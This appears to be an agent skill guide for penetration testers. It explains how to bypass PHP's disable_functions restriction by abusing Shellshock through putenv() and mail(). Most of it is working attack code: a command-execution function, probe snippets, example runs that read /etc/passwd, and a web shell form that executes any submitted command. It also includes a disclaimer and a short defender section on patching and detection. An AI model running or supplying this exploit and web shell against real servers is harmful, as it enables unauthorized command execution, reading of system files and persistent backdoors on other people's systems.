PHP Shellshock Disabled Functions Bypass

Overview

This skill helps you bypass PHP's

disable_functions

restriction using the Shellshock vulnerability (CVE-2014-6271) in bash. This technique exploits the

mail()

function to execute arbitrary commands even when

exec

,

system

,

shell_exec

, and similar functions are disabled.

When This Works

This bypass is effective when:

• PHP version is 5.x (older versions)

• /bin/sh

  is linked to bash (not dash, sh, or other shells)
• The

  mail()

  function is NOT in

  disable_functions

• The target system has an unpatched bash vulnerable to Shellshock
• You have write access to create temporary files

Security Context

⚠️ AUTHORIZED USE ONLY - This technique should only be used:

• During authorized penetration testing engagements
• On systems you own or have explicit permission to test
• For security research and educational purposes
• Never against production systems without authorization

The Exploit Technique

How It Works

1. Shellshock Vulnerability: CVE-2014-6271 allows command injection through environment variables in bash
2. PHP Environment Variables: PHP allows setting environment variables with

   putenv()

   (prefix restrictions may apply in Safe Mode)
3. Mail Function Abuse: The

   mail()

   function spawns

   /bin/sh

   which inherits the malicious environment variable
4. Command Execution: When bash processes the environment variable, it executes the injected command

Implementation

<?php

function shellshock_bypass($cmd) {
    // Check if /bin/sh is bash
    if (strstr(readlink("/bin/sh"), "bash") === false) {
        return "Not vulnerable: /bin/sh is not bash";
    }
    
    // Create temporary file for output
    $tmp = tempnam(".", "data");
    
    // Set malicious environment variable (PHP_ prefix for Safe Mode compatibility)
    putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
    
    // Trigger mail() to spawn shell with our environment
    // -bv flags prevent actual mail delivery
    mail("a@127.0.0.1", "", "", "", "", "-bv");
    
    // Read output
    $output = @file_get_contents($tmp);
    @unlink($tmp);
    
    if ($output !== "") {
        return $output;
    } else {
        return "No output or not vulnerable";
    }
}

// Usage: shellshock_bypass("whoami");
?>

Testing Steps

1. Check Disabled Functions

<?php
echo "Disabled functions: " . ini_get('disable_functions') . "\n";
?>

Look for:

exec

,

system

,

shell_exec

,

passthru

,

proc_open

,

popen

2. Verify Shell Type

<?php
echo "Shell: " . readlink("/bin/sh") . "\n";
?>

Must contain "bash" for this exploit to work.

3. Test Mail Function

<?php
if (function_exists('mail')) {
    echo "mail() is available\n";
} else {
    echo "mail() is disabled\n";
}
?>

4. Run Exploit

<?php
echo shellshock_bypass("id");
echo shellshock_bypass("uname -a");
echo shellshock_bypass("cat /etc/passwd");
?>

Limitations

• PHP Version: Only works on PHP 5.x, not PHP 7+
• Bash Version: Requires unpatched bash (pre-4.2 or unpatched 4.2+)
• Safe Mode: May require

  PHP_

  prefix on environment variables
• Mail Configuration: Some mail configurations may block the

  -bv

  flags
• Output Capture: Relies on file I/O, which may be restricted

Detection & Mitigation

For Defenders

1. Patch Bash: Update bash to patched version
2. Disable mail(): Add

   mail

   to

   disable_functions

3. Use Modern PHP: Upgrade to PHP 7+ or 8+
4. Monitor: Watch for unusual environment variable usage
5. Chroot/Jail: Restrict file system access

Signs of Exploitation

• Unexpected temporary files in web directories
• Environment variables with function-like syntax
• Mail function calls with unusual parameters
• Commands executing despite disabled_functions

Related Techniques

• Other disabled_functions bypasses: Look for

  php://filter

  ,

  expect

  ,

  proc_open

  alternatives
• PHP wrappers:

  php://input

  ,

  php://filter

  for data exfiltration
• Safe Mode bypasses: Various techniques for older PHP versions

References

• Original Blog Post
• CVE-2014-6271
• PHP disable_functions
• PHP Safe Mode

Usage in Web Shells

When building a web shell for testing:

<?php
// Simple web shell with Shellshock bypass
if ($_REQUEST['cmd']) {
    echo "<pre>" . shellshock_bypass($_REQUEST['cmd']) . "</pre>";
}
?>
<form method="POST">
    <input type="text" name="cmd" placeholder="Command">
    <input type="submit" value="Execute">
</form>

Important Notes

• This is a legacy exploit - modern systems are unlikely to be vulnerable
• Always document findings in your penetration test report
• Consider the legal implications of using this technique
• Use as part of a comprehensive security assessment, not in isolation